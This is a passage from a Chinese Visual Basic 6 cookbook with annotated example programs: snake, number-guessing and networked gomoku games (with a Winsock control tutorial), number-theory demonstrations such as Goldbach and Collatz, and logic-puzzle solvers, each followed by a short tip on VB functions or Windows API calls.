        Pic(Pic.UBound).Visible = True                                    '增加部分可见
        PicAdd.Visible = False
        Score = Score + 1                                            '得分加1
        Label1.Caption = Score                                        '显示得分
    End If
    If Pic(0).Left = Picmore.Left And Pic(0).Top = Picmore.Top Then                '如果吃到食物
        Score = Score + 5                                            '得分加5
        Label1.Caption = Score                                        '显示分数
        For i = 1 To 3                                            '蛇身加3
            Load Pic(Pic.Count)
            Pic(Pic.UBound).Visible = True
            Picmore.Visible = False
        Next i
    End If
End Sub




PicRect为贪吃蛇的活动区域，其KeyDown事件用于响应在键盘上按下方向键后贪吃蛇的移动方向，程序代码如下：



Private Sub PicRect_KeyDown(KeyCode As Integer, Shift As Integer)
    If KeyCode = 37 And Pic(0).Top <> Pic(1).Top Then
        aspect = 1                                                '向左标记为1
    ElseIf KeyCode = 40 And Pic(0).Left <> Pic(1).Left Then
        aspect = 4                                                '向下标记为4
    ElseIf KeyCode = 39 And Pic(0).Top <> Pic(1).Top Then
        aspect = 2                                                '向右标记为2
    ElseIf KeyCode = 38 And Pic(0).Left <> Pic(1).Left Then
        aspect = 3                                                '向上标记为3
    End If
End Sub




秘笈心法

心法领悟102：利用API不让窗体的左端移出屏幕。

不让窗体的左端移出屏幕就是说不让窗体的Left属性小于0，这似乎不是一件容易控制的事，因为窗体运行起来没有相应的事件可以控制，但是可以利用API在窗体定位前获得窗体的定位，因为窗体在重定位之前会传出WM_WINDOWPOSCHANGING消息，而lParam指向一个WINDOWPOS的结构体，程序代码如下：



Private Sub Form_Load()
    Dim ret As Long
    preWinProc = GetWindowLong(Me.hwnd, GWL_WinPro)
    ret = SetWindowLong(Me.hwnd, GWL_WinPro, AddressOf WinPro)
End Sub
Private Sub Form_Unload(Cancel As Integer)
    Dim ret As Long
    ret = SetWindowLong(Me.hwnd, GWL_WinPro, preWinProc)
End Sub






 实例103　猜数字

光盘位置：光盘\MR\04\103

高级

趣味指数：[image: ]




实例说明

本实例实现了猜数字游戏的功能。运行程序，单击“开始”按钮，在文本框中输入符合条件的数字，单击“确定”按钮进行游戏，程序的运行效果如图4.37所示。

[image: ]
图4.37　猜数字



关键技术

本实例主要是通过猜数字游戏的算法思想来实现的。猜数字游戏是一种比较常见的游戏，其规则十分简单：在一个文本框中输入0～9的4个数字，程序会提示aAbB的信息，这里的a是个数，A表示位置正确，b表示个数，B表示数字正确，aAbB即为有a个数字的位置正确，有b个数字正确。玩家可以根据提示调整数字和数字的位置，直到输入正确的数字为止。当玩家输入数字的次数超过了10次，则提示失败。

设计过程

（1）新建一个标准EXE工程。

（2）在工程中创建一个窗体，命名为Frm_Main，设置Caption属性为“猜数字”，设置窗体的Picture属性。

（3）在窗体上添加10个Label控件，设置为名称为Lbl_Info的控件数组，设置Caption属性为空，设置AutoSize属性为True。

（4）在窗体上添加一个TextBox控件，设置Appearance属性为0-Flat，设置BackColor属性为&H00C0C0FF&。

（5）在窗体上添加两个Image控件，设置名称属性为Ige_OK和Ige_Start，设置Picture属性为事先设计好的图片。

（6）运行程序，单击“开始”按钮，开始游戏，程序代码如下：



Private Sub Ige_Start_Click()                                    '“开始”按钮
    Dim MyStr, Str1 As String                                    '定义变量
    For i = 0 To 9                                            '循环
        Lbl_Info(i).Caption = ""                                    '清空文本框
    Next i
    Text1.Text = ""                                            '清空文本框
    aa = ""                                                '清空变量
    For i = 0 To 3                                            '循环
        Randomize                                        '初始化随机数
        Number = Rnd * 9                                    '设置生成随机数
        num(i) = Number
        For j = 0 To i - 1
            If Number = num(j) Then
                i = i - 1
                Exit For
            Else
                num(i) = Number
            End If
        Next j
    Next i
    Text1.SetFocus                                            '设置焦点在文本框中
End Sub




在文本框中输入4位数字，然后单击“确定”按钮，判断数字是否正确，并判断有几个是数字正确的，有几个是位置正确的，然后显示在标签中，如果输入正确则显示提示对话框，否则判断输入的次数是否超过10次，如果超过则提示用户失败了，则不允许用户继续输入。否则，允许用户继续输入。程序代码如下：



Private Sub Ige_OK_Click()                                    '“确定”按钮
    Dim MyStr(0 To 3) As String                                    '定义字符数组
    Dim Str1 As String                                        '定义字符变量
    Dim A, B As Integer                                        '定义整型变量
    A = 0                                                '给变量赋值
    B = 0                                                '给变量赋值
    If Len(Text1.Text) <> 4 Then                                    '如果输入的数字不是4个
        '提示用户输入的数字不正确
        MsgBox "输入的数字不正确！", vbInformation, "明日图书"
        Text1.Text = ""                                        '清空文本框的内容
        Text1.SetFocus                                        '将焦点设置在文本框中
        Exit Sub                                            '退出
    End If
    If IsNumeric(Text1.Text) = False Then                            '如果输入的内容不是数字
        '弹出提示对话框
        MsgBox "输入的数字不正确！", vbInformation, "明日图书"
        Text1.Text = ""                                        '清空文本框内容
        Text1.SetFocus                                        '将焦点设置在文本框中
        Exit Sub                                            '退出
    End If
    Str1 = Text1.Text                                        '将文本框中的内容赋给变量
    For i = 0 To 3                                            '循环
        MyStr(i) = Left(Str1, 1)                                    '获取左侧的字符
        Str1 = Right(Str1, (3 - i))                                    '将剩下的赋给变量
        If MyStr(i) = num(i) Then A = A + 1
    Next i
    If A = 4 Then                                            '如果所有的数字都相同
        '显示标签内容
        Lbl_Info(iCount).Caption = Text1.Text & "  " & A & "A" & B & "B"
        '提示用户数字
        Frm_Congratulate.Lbl_Info.Caption = "数字是：" & Text1.Text
        Load Frm_Congratulate                                    '加载窗体
        Frm_Congratulate.Show 1                                '显示窗体
        iCount = 0                                            '设置编号为0
        Ige_OK.Enabled = False                                    '设置“确定”按钮不可用
        Ige_Start.Enabled = True                                    '设置“开始”按钮可用
        Exit Sub                                            '退出
    End If
    For i = 0 To 3                                            '循环
        For j = 0 To 3
            If MyStr(i) = num(j) Then B = B + 1
        Next j
    Next i
    '设置
    Lbl_Info(iCount).Caption = Text1.Text & "  " & A & "A" & B - A & "B"
    iCount = iCount + 1
    If iCount = 10 Then
        For i = 0 To 3
            aa = aa + num(i)
        Next i
        Frm_Lost.Lbl_Info.Caption = "数字是：" & aa
        Load Frm_Lost
        Frm_Lost.Show 1
        iCount = 0
        Command1.Enabled = False
        Command2.Enabled = True
    End If
    Text1.Text = ""
    Text1.SetFocus
End Sub




秘笈心法

心法领悟103：将MDI子窗体移出MDI主窗体。

在MDI窗体中，子窗体是不能移出主窗体的，但是利用API函数中的SetParent函数可以指定一个窗体的新的父，并由新父的坐标系统来定义MDI窗体的位置，具体的程序代码如下：



Private Declare Function SetParent Lib "user32" (ByVal hWndChild As Long, ByVal hWndNewParent As Long) As Long
Private Container As Long
Private Sub Command1_Click()
    Container = SetParent(hWnd, 0)
End Sub
Private Sub Command2_Click()
    Call SetParent(hWnd, Container)
    Move 0, 0
End Sub






 实例104　五子棋对战

光盘位置：光盘\MR\04\104

高级

趣味指数：[image: ]




实例说明

五子棋对战算法在判断输赢时，要分别判断上下、左右、左上右下、右上左下等4条线上是否有5颗相同颜色的棋子相连，五子棋对战程序如图4.38所示。

[image: ]
图4.38　五子棋对战程序



关键技术

网络五子棋是使用Winsock控件实现网络间信息的传输的。下面介绍Winsock控件的相关知识。

Winsock控件的工作原理为：服务器不停地监听检测客户端的请求，客户端则向服务器端发出连接请求，当两者的协议沟通时，客户端与服务器端就建立了连接。这时客户端继续请求服务器端发送或接收数据，服务器则在等待客户端的这些请求。

Winsock控件可以通过使用TCP协议和UDP协议连接到远程计算机上并与之交换数据。在编写客户机或服务器应用程序时，不必了解太多的有关TCP或UDP协议的具体原理，只要通过设置Winsock控件的属性并调用其方法即可轻易地进行网络连接并实现通信。

在Visual Basic工程中使用Winsock控件，首先应将其添加到工具箱中，方法为：选择“工程”/“部件”命令，打开“部件”对话框，在此选中Microsoft Winsock Control 6.0（SP5）复选框，单击“确定”按钮将其添加到工具箱中。

下面介绍Winsock控件在本程序中应用到的属性和方法。

（1）Protocol属性

该属性用于返回或设置Winsock控件所使用的协议（TCP或UDP协议），语法如下：



object.Protocol [=protocol]




参数说明

object：一个对象表达式。

当protocol的设置值为sckTCPProtocol（0）时，表示TCP协议；当设置值为sckUDPProtocol（1）时，表示UDP协议。

本程序使用的是TCP协议，在程序设计时在Winsock控件的属性窗口将该属性设置为0。

（2）State属性

该属性用于返回控件的状态，用枚举类型来表示。在程序设计时是只读的，而且是不可用的，语法如下：



object.State




参数说明

object：一个对象表达式。

State属性设置值及说明如表4.3所示。

表4.3　State属性设置值及说明



	常数
	值
	说明



	sckClosed
	0
	默认的。关闭



	sckOpen
	1
	打开



	sckListening
	2
	侦听



	sckConnectionPending
	3
	连接挂起



	sckResolvingHost
	4
	识别主机



	sckHostResolved
	5
	已识别主机



	sckConnecting
	6
	正在连接



	sckConnected
	7
	已连接



	sckClosing
	8
	同级人员正在关闭连接



	sckError
	9
	错误




本程序多次用到了Winsock控件的State属性，用来获取当前属性，获取当前控件状态并关闭连接的程序代码如下：



  If Winsock1.State <> sckClosed Then Winsock1.Close




（3）RemoteHost属性

该属性用于返回或设置远程计算机。Winsock控件向该计算机发送数据或从该计算机接收数据时，使用RemoteHost属性即可获得主机名，如FTP://ftp.mrgcy.com，也可提供点格式的IP地址字符串，如192.168.1.222，语法如下：



object.RemoteHost = string




参数说明

❶object：一个对象表达式。

❷string：远程计算机的名称或地址。


说明：
 在调用OpenURL或Execute方法时也可改变 RemoteHost属性。

（4）RemotePort属性

该属性用于返回或设置要连接的远程端口号，语法如下：



object.Remoteport = port




参数说明

❶object：一个对象表达式。

❷port：要连接的端口。该属性的默认值为80。


说明：
 在设置Protocol属性时，将对每个协议自动把RemotePort属性设置成适当的默认端口。端口号为80，表示HTTP，通常用于Word Wide Web连接。端口号为21，表示FTP。

（5）GetData方法

该方法用于获取当前的数据块并将其存储在Variant变体类型的变量中。当本地计算机接收到远程计算机的数据时，数据存放在接收缓存中。要从接收缓存中取得数据，可以使用GetData方法，语法如下：



object.GetData data, [type,] [maxLen]




GetData方法中各参数的说明如表4.4所示。

表4.4　GetData方法的参数说明



	参数
	说明



	object
	一个对象表达式



	data
	在GetData方法成功返回之后存储获取数据的地方。如果对请求的类型没有足够可用的数据，则将data设置为Empty



	type
	可选参数。获取的数据类型



	maxLen
	可选参数。指定接收到的字节数组或字符串的大小





说明：
 通常总是将GetData方法与DataArrival事件并用，而DataArrival事件包含bytesTotal参数。如果指定一个比bytesTotal参数小的maxLen，则会有一个错误号为10040的错误提示信息，以提示用户剩余的字节将丢失。

本程序中获取数据的代码如下：



Form1.Winsock1.GetData mydata, vbString




（6）SendData方法

该方法用于将数据发送给远程计算机，语法如下：



object.SendData data




参数说明

❶object：一个对象表达式。

❷data：要发送的数据。对于二进制数据应使用字节数组。

本程序中用于发送信息的代码如下：



If Form1.Winsock1.State = 7 Then Form1.Winsock1.SendData mydata




（7）Listen方法

该方法用于创建套接字并将其设置为侦听模式，仅适用于TCP连接，语法如下：



object.Listen




参数说明

object：一个对象表达式。

本程序中设置侦听模式的代码如下：



Winsock1.Listen




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，Caption属性设置为“网络五子棋”，StartUp Position属性设置为“2-屏幕中心”。

（3）在窗体上添加3个PictureBox控件分别作为棋盘、黑子和白子；然后添加一些TextBox控件作为数据的输入和输出；添加一些CommandButton控件执行相应功能的命令。

（4）程序的运行代码如下：



For i = 1 To 11
    For j = 1 To 11
        If QiPan(i, j) = a And QiPan(i + 1, j + 1) = a And QiPan(i + 2, j + 2) = a And QiPan(i + 3, j + 3) = a And QiPan(i + 4, j + 4) = a Then GameOver = a: Exit Function
    Next j
Next i
For i = 5 To 15
    For j = 5 To 15
        If QiPan(i, j) = a And QiPan(i - 1, j - 1) = a And QiPan(i - 2, j - 2) = a And QiPan(i - 3, j - 3) = a And QiPan(i - 4, j - 4) = a Then GameOver = a: Exit Function
    Next j
Next i
For i = 5 To 15
    For j = 1 To 11
        If QiPan(i, j) = a And QiPan(i - 1, j + 1) = a And QiPan(i - 2, j + 2) = a And QiPan(i - 3, j + 3) = a And QiPan(i - 4, j + 4) = a Then GameOver = a: Exit Function
    Next j
Next i
For i = 1 To 11
    For j = 5 To 15
        If QiPan(i, j) = a And QiPan(i + 1, j - 1) = a And QiPan(i + 2, j - 2) = a And QiPan(i + 3, j - 3) = a And QiPan(i + 4, j - 4) = a Then GameOver = a: Exit Function
    Next j
Next i
For i = 1 To 15
    For j = 5 To 11
        If QiPan(i, j) = a And QiPan(i, j - 1) = a And QiPan(i, j - 2) = a And QiPan(i, j - 3) = a And QiPan(i, j - 4) = a Then GameOver = a: Exit Function
        If QiPan(i, j) = a And QiPan(i, j + 1) = a And QiPan(i, j + 2) = a And QiPan(i, j + 3) = a And QiPan(i, j + 4) = a Then GameOver = a: Exit Function
    Next j
Next i
For i = 5 To 11
    For j = 1 To 15
        If QiPan(i, j) = a And QiPan(i + 1, j) = a And QiPan(i + 2, j) = a And QiPan(i + 3, j) = a And QiPan(i + 4, j) = a Then GameOver = a: Exit Function
        If QiPan(i, j) = a And QiPan(i - 1, j) = a And QiPan(i - 2, j) = a And QiPan(i - 3, j) = a And QiPan(i - 4, j) = a Then GameOver = a: Exit Function
    Next j
Next i
GameOver = 0




详细代码参见光盘。

秘笈心法

心法领悟104：Error函数小知识。

Error的隐式转换是不允许的，例如，不能直接把CVErr的返回值赋值给一个非 Variant 的变量。然而可以对CVErr的返回值进行显式转换（使用CInt、CDbl等），并赋值给适当的数据类型变量。


 4.7　定理与猜想



 实例105　斐波那契数列

光盘位置：光盘\MR\04\105

高级

趣味指数：[image: ]




实例说明

本实例实现了斐波那契数列功能。Fibonacci数列的特点是第1、第2两个数为1、1。从第3个数开始，该数是前两个数之和。求这个数列的前30个元素，程序的运行效果如图4.39所示。

[image: ]
图4.39　斐波那契数列



关键技术

本实例的实现主要是通过斐波那契数列算法来实现的。

（1）分析题目中的要求可以用如下等式来表示斐波那契数列：




	F1=1
	（n=1）



	F2=1
	（n=2）



	Fn=Fn-1+Fn-2　　
	（n≥3）






其中将F的下标看成数组的下标即可完成该程序。

（2）程序设计思路。

程序中用到两个For循环语句，第一个For循环是实现从第3项开始每一项等于前两项之和。第二个For循环是将存储在数组中的数据以5个一行的形式输出。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“斐波那契数列”，StartUpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Activate()
    Me.Cls
    Dim i As Integer
    Dim f(31) As Long
    f(1) = 1: f(2) = 1
    For i = 3 To 30
        f(i) = f(i - 1) + f(i - 2)
    Next i
    For i = 1 To 30
        Print Format(f(i), "@@@@@@@@@@");
        If i Mod 5 = 0 Then
            Print
        End If
    Next i
End Sub




秘笈心法

心法领悟105：IsError函数检查数值表达式的结果是否为错误代号。

假设UserFunction为返回错误值的用户自定义函数过程的名称，代码如下：



Dim ReturnVal, MyCheck
ReturnVal = UserFunction()
MyCheck = IsError(ReturnVal)   '返回True






 实例106　角谷猜想

光盘位置：光盘\MR\04\106

高级

趣味指数：[image: ]




实例说明

本实例实现了角谷猜想功能。角谷猜想的内容是任给一个自然数，若为偶数除以2，若为奇数则乘3加1，得到一个新的自然数后按照上面的法则继续演算，若干次后得到的结果必然为1。编程验证该定理。程序运行后在输入框中输入“100”，确认后其运行结果如图4.40所示。

[image: ]
图4.40　角谷猜想



关键技术

本实例没有太多难点，只需根据题中给的条件编写程序即可，这里只强调一点就是判断一个数是奇数还是偶数，程序中采用对2取余的方法，若余数为0则说明该数是偶数，否则该数为奇数。

程序设计思路如下：程序中采用while循环来判断每次运算所得到的结果是否为1，当不为1时继续按照题中给的条件进行判断，直到最终结果等于1。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“角谷猜想”，StartUp Position属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Activate()
    Dim i As Long, n As Long
    n = Val(InputBox("ÇëÊäÈëÒ»¸ö³¤ÕûÐÍÊä"))
    Do While n <> 1
        If n Mod 2 = 0 Then
            Print Format(n & "/2=" & n \ 2, "@@@@@@@@@@@@@@@@@@@@")
            n = n \ 2
        Else
            Print Format(n & "/*3+1=" & n * 3 + 1, "@@@@@@@@@@@@@@@@@@@@")
            n = n * 3 + 1
        End If
    Loop
End Sub




秘笈心法

心法领悟106：CVErr函数和IsError函数小知识。

利用CVErr函数将实数转换成错误值就会建立错误值。IsError函数被用来确定一个数值表达式是否表示一个错误。如果expression参数表示一个错误，则IsError返回True；否则返回False。



 实例107　验证歌德巴赫猜想

光盘位置：光盘\MR\04\107

高级

趣味指数：[image: ]




实例说明

本实例实现了验证歌德巴赫猜想功能。验证100以内的正偶数都能分解为两个素数之和即验证歌德巴赫猜想对100以内的正偶数成立，运行结果的后5行如图4.41所示。

关键技术

为了验证歌德巴赫猜想对100以内的正偶数是成立的，要将正偶数分解为两部分，再对这两部分进行判断，如果均是素数则满足题意，不是则重新分解继续判断。本实例把素数的判断过程自定义到函数ss中，对每次分解出的两个数只要调用函数ss来判断即可。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“歌德巴赫猜想”，StartUpPosition属性设置为“2-屏幕中心”。

[image: ]
图4.41　歌德巴赫猜想



（3）自定义ss函数，函数类型为基本整型，作用是判断一个数是否为素数，代码如下：



Private Function ss(ByVal i As Integer)
    Dim j As Integer
    If i <= 1 Then
        Exit Function
    End If
    If i = 2 Then
        ss = 1
        Exit Function
    End If
    For j = 2 To i - 1
        If i Mod j = 0 Then
            Exit Function
        ElseIf i <> j + 1 Then
            GoTo 1
        Else
            ss = 1
            Exit Function
        End If
1:    Next j
End Function




对6～100之间的正偶数进行拆分，再对拆分出来的数分别调用函数ss进行是否为素数的判断，若均为素数，则按指定格式输出，否则继续下次循环，重新进行拆分及判断，代码如下：



Private Sub Form_Activate()
    Dim i As Integer, j As Integer, k As Integer, flag1 As Integer, flag2 As Integer, n As Integer
    For i = 6 To 99 Step 2
        DoEvents
        For k = 2 To i \ 2
            j = i - k
            flag1 = ss(k)
            If flag1 Then
                flag2 = ss(j)
                If flag2 Then
                    Print Format(i & "=" & k & "+" & j, "@@@@@@@@@@@@@@@");
                    n = n + 1
                    If n Mod 5 = 0 Then
                        Print
                    End If
                End If
            End If
        Next k
    Next i
End Sub




秘笈心法

心法领悟107：CVErr函数可以创建用户自定义错误号。

例如用户自定义函数时，可以通过CVErr函数返回自定义错误或改变处理运行时错误的方式，代码如下：



Function StrOrNum(Number)
   If IsNumeric(Number) Then
      StrOrNum = Number * 2       '返回结果
   Else
      StrOrNum = CVErr(2005)      '返回自定义错误码
   End If
End Function






 实例108　四方定理

光盘位置：光盘\MR\04\108

高级

趣味指数：[image: ]




实例说明

本实例实现了四方定理功能。四方定理的内容是所有的自然数至多只要用4个数的平方和就可以表示。编程验证该定理。程序运行后在输入框中输入“4785”，确认后其运行结果如图4.42所示。

[image: ]
图4.42　四方定理



关键技术

本实例对4个变量i、j、k、l采用穷举试探的方法进行计算，当满足定理中的条件时输出计算结果。

程序设计思路如下：程序中采用4个For循环语句分别对i、j、k、l的值进行试探，对满足If条件语句中条件的将其按指定格式输出，输出完退出程序。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“四方定理”，StartUp Position属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Activate()
    Me.Cls
    Dim i As Long, j As Long, k As Long, l As Long, n As Long
    n = Val(InputBox("请输入一个数值"))
    For i = 0 To n
        For j = 0 To i
            For k = 0 To j
                For l = 0 To k
                    If i ^ 2 + j ^ 2 + k ^ 2 + l ^ 2 = n Then
                        Print i & "*" & i & "+" & j & "*" & j & "+" & _
                              k & "*" & k & "+" & l & "*" & l & "=" & n
                        Exit Sub
                    End If
                Next l
            Next k
        Next j
    Next i
End Sub




秘笈心法

心法领悟108：LoadResData函数小知识。

LoadResData从资源文件装载的数据可以达到64KB。

对位图、图标、光标资源类型使用LoadResData将返回包含该资源中的实际二进制位的字符串。如果想使用实际的位图、图标或资源，请使用LoadResPicture oˉêy。

LoadResData的使用对于Visual Basic应用程序本地化有好处，这是因为需要翻译的资源在一个资源文件中被隔离，并且无须访问源代码或重新编译该应用程序。



 实例109　尼科彻斯定理

光盘位置：光盘\MR\04\109

高级

趣味指数：[image: ]




实例说明

尼科彻斯定理内容是任何一个整数的立方都可以写成一串连续奇数的和。编程验证该定理。程序运行后在输入框中输入“23”，确认后其运行结果如图4.43所示。

[image: ]
图4.43　尼科彻斯定理



关键技术

解决本实例的关键是先要确定这串连续奇数中的最大值的范围，这里我们可以这样分析，任何立方值（这里设为sum）的一半（这里设为x）如果是奇数，则x+x+2的值一定大于sum，那么这串连续奇数的最大值不会超过x，如果x是偶数，我们需把它变成奇数，那么变成奇数到底是加1、减1还是其他呢？这里我们选择加1，因为x+1+x-1正好等于sum，所以当x是偶数时这串连续奇数的最大值不会超过x+1。在确定了范围后我们就可以从最大值开始进行穷举。

程序设计思路如下：程序中使用了两个while循环语句，第一个while语句的功能是从可能的最大值开始直到1为止进行穷举，第二个while循环的功能是通过第一个while循环所确定的i值进行每次减2逐次累加求和，当累加和等于立方值时输出累加过程并跳出循环，当累加和大于立方值时也同样跳出第二个循环回到第一个循环中。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“尼科彻斯定理”，StartUpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Activate()
    Me.Cls
    Dim i As Integer, j As Integer, k As Integer, l As Integer, _
            n As Integer, m As Integer, sum As Integer, flag As Integer
    flag = 1
    n = Val(InputBox("请输入一个数值"))
    m = n ^ 3
    i = m \ 2
    If i Mod 2 = 0 Then
        i = i + 1
    End If
    Do While flag = 1 And i >= 1
        sum = 0
        k = 0
        Do While True
            sum = sum + (i - 2 * k)
            k = k + 1
            If sum = m Then
                Print n & "*" & n & "*" & n & "=" & m & "=";
                For l = 0 To k - 2
                    Print i - l * 2 & "+";
                Next l
                Print i - (k - 1) * 2
                flag = 0
                Exit Do
            End If
            If sum > m Then Exit Do
        Loop
        i = i - 2
    Loop
End Sub




秘笈心法

心法领悟109：LoadResString函数小知识。

可以使用LoadResString函数代替代码中的字符串文字量。

将数据的长字符串存储在资源文件中并从该资源文件访问它们能改进装载时间，这是因为您可以根据需要从资源文件单独装载，而不是在装载窗体时一并全部装载。

LoadResString的使用对于Visual Basic应用程序的本地化有好处，这是因为需要翻译的资源一个资源文件中被隔离，并且无须访问源代码或重新编译该应用程序。


 4.8　逻辑推理与生活中的数学



 实例110　魔术师的秘密

光盘位置：光盘\MR\04\110

高级

趣味指数：[image: ]




实例说明

[image: ]
图4.44　魔术师的秘密



在一次晚会上，一位魔术师掏出一叠扑克牌，取出其中13张黑桃，预先洗好后，把牌面朝下，对观众说：“我不看牌，只数一数就能知道每张牌是什么？”魔术师口中念1，将第一张牌翻过来看正好是A；魔术师将黑桃A放到桌上，继续数手里的余牌，第二次数1，2，将第一张牌放到这叠牌的下面，将第二张牌翻开，正好是黑桃2，也把它放在桌子上。第三次数1，2，3，前面两张牌放到这叠牌的下面，取出第三张牌，正好是黑桃3，这样依次将13张牌翻出，准确无误。现在的问题是，魔术师手中牌的原始顺序是怎样的？运行结果如图4.44所示。

关键技术

解决这类问题的关键在于如何将人工推导扑克牌放置顺序的方法用计算机编程模拟出来。下面来看人工推导的过程：假设桌上摆着13个空盒子，将这些盒子围成一圈，编号为1～13，将黑桃A放入第一个盒子中，从下一个空盒子开始对空盒子计数，当数到第二个空盒子时，将黑桃2放入空盒子中，然后再从下一个空盒子开始对空盒子计数。顺序放入3，4，5等，直到全部放入13张牌，注意在计数时要跳过非空的盒子，只对空盒子计数，最后得到牌在盒子中的顺序，就是魔术师手中原来牌的顺序。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“魔术师的秘密”，StartUpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Activate()
    Me.Cls
    Dim i As Integer, j As Integer, n As Integer, a(13) As Integer                     '声明变量
    i = 1                                                    '将变量i设置为1
    Do While i <= 13                                            '当i小于等于13时循环
        Do While True
            j = j + 1
            If j > 13 Then j = 1                                        '当j大于13时，将其重新置为1
            If a(j) = 0 Then n = n + 1                                    '如果该位置元素为0则n加1
            If n = i Then
                a(j) = i                                             '将i的值放入数组指定位置中
                n = 0                                            '计数器重新置为0
                Exit Do                                            '调出内层循环
            End If
        Loop
        i = i + 1                                                '计数器i加1
    Loop
    Print "the original order of cards is:"
    For i = 1 To 13
        Print a(i);                                                '输出扑克牌原有顺序*/
    Next i
End Sub




秘笈心法

心法领悟110：Const语句声明常量小知识。

声明用于代替文字量的常数。常数可以使程序更具可读性、易于修改。在程序运行时，常数不会像变量那样无意中被改变。



 实例111　婚礼上的谎言

光盘位置：光盘\MR\04\111

高级

趣味指数：[image: ]




实例说明

3对情侣参加婚礼，3个新郎为a、b、c，3个新娘为x、y、z，有人想知道究竟谁和谁结婚，于是就问新人中的3位，得到如下的提示：a说他将和x结婚；x说她的未婚夫是c；c说他将和z结婚。这人事后知道他们在开玩笑，说的全是假话，那么究竟谁与谁结婚呢？运行结果如图4.45所示。

[image: ]
图4.45　婚礼上的谎言



关键技术

解决本实例的算法思想如下：

用“a=1”表示新郎a和新娘x结婚，同理如果新郎a不与新娘x结婚则写成“a<>1”，根据题意得到如下的表达式：

a<>1　a不与x结婚

c<>1　c不与x结婚

c<>3　c不与z结婚

我们在分析题时还要发现题中隐含的条件即：3个新郎不能互为配偶，则有：a<>b且b<>c且a<>c。穷举所有可能的情况，代入上述表达式进行推理运算。如果假设的情况使上述表达式的结果为真，则假设的情况就是正确的结果。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“婚礼上的谎言”，StartUpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Load()
    Me.Cls
    Dim a As Integer, b As Integer, c As Integer
    For a = 1 To 3
        For b = 1 To 3
            For c = 1 To 3
                If a <> 1 And c <> 1 And c <> 3 _
                   And a <> b And a <> c And b <> c Then
                    Print Chr(Asc("x") + a - 1) & " will marry to a"
                    Print Chr(Asc("x") + b - 1) & " will marry to b"
                    Print Chr(Asc("x") + c - 1) & " will marry to c"
                End If
            Next c
        Next b
    Next a
End Sub




秘笈心法

心法领悟111：Kill语句的慎用小知识。

从磁盘中删除文件。在程序中使用此语句删除文件时，尽量试图提醒用户“确定删除此文件吗”，一旦删除的是系统文件，就会导致其他程序或者操作系统运行时出错。



 实例112　谁讲了真话

光盘位置：光盘\MR\04\112

高级

趣味指数：[image: ]




实例说明

A说B在说谎，B说C在说谎，C说A和B都在说谎。那么这3个人中谁说的是真话，谁说的是假话？程序的运行效果如图4.46所示。

[image: ]
图4.46　谁讲了真话



关键技术

根据题中给的条件分析结果如下：

1代表说了真话，0代表说了假话。

如果A==1则B==0；

如果A==0则B==1；

如果B==1则C==0；

如果B==0则C==1；

如果C==1则A+B==0；

如果C==0则A+B!=0。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“谁讲了真话”，StartUp Position属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Activate()
    Me.Cls
    Dim a As Integer, b As Integer, c As Integer
    For a = 0 To 1
        For b = 0 To 1
            For c = 0 To 1
                If ((a And Not b) Or (Not a And b)) And ((b And Not c) Or (Not b And c)) And ((c And Not (a + b)) Or (Not c And (a + b))) Then
                    Print ("the result(1-truth,0-lie):")
                    Print "A is " & a
                    Print "B is " & b
                    Print "C is " & c
                End If
            Next c
        Next b
    Next a
End Sub




秘笈心法

心法领悟112：Static语句与Static关键字小知识。

Static语句与Static关键字很相似，但是两者是针对不同的效果来使用的。如果使用Static关键字（如Static SubCountSales（））来声明一个过程，则该过程中的所有局部变量的存储空间都只分配一次，且这些变量的值在整个程序运行期间都存在。对非静态过程而言，该过程每次被调用时都要为其变量分配存储空间，当该过程结束时都要释放其变量的存储空间。Static语句则用来在非静态的过程中声明特定的变量，以使其在程序运行期间能保持其值。



 实例113　黑纸与白纸

光盘位置：光盘\MR\04\113

高级

趣味指数：[image: ]




实例说明

有a、b、c、d、e 5人，每人额头上都贴了一张黑色或白色的纸条。5人对坐，每人都可以看到其他人额头上的纸的颜色，但都不知道自己额头上的纸的颜色。5人相互观察后，

a说：“我看见有3个人额头上贴的是白纸，一个人额头上贴的是黑纸。”

b说：“我看见其他4人额头上贴的都是黑纸。”

c说：“我看见有一个人额头上贴的是白纸，其他3人额头上贴的是黑纸。”

d说：“我看见4人额头上贴的都是白纸”。

e说：“我不发表观点。”

现在已知额头贴黑纸的人说的都是谎话，额头贴白纸的人说的都是实话，问这5个人谁的额头上贴的是白纸谁的额头上贴的是黑纸，程序运行效果如图4.47所示。

[image: ]
图4.47　黑纸与白纸



关键技术

根据题中给的条件分析结果如下：

A：a&&b+c+d+e==3||!a&&b+c+d+e!=3

B：b&&a+c+d+e==0||!b&&a+c+d+e!=0

C：c&&a+b+d+e==1||!c&&a+b+d+e!=1

D：d&&a+b+c+e==4||!d&&a+b+c+e!=4

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“黑纸与白纸”，StartUp Position属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Activate()
    Me.Cls
    Dim a As Integer, b As Integer, c As Integer, d As Integer, e As Integer
    For a = 0 To 1
        For b = 0 To 1
            For c = 0 To 1
                For d = 0 To 1
                    For e = 0 To 1
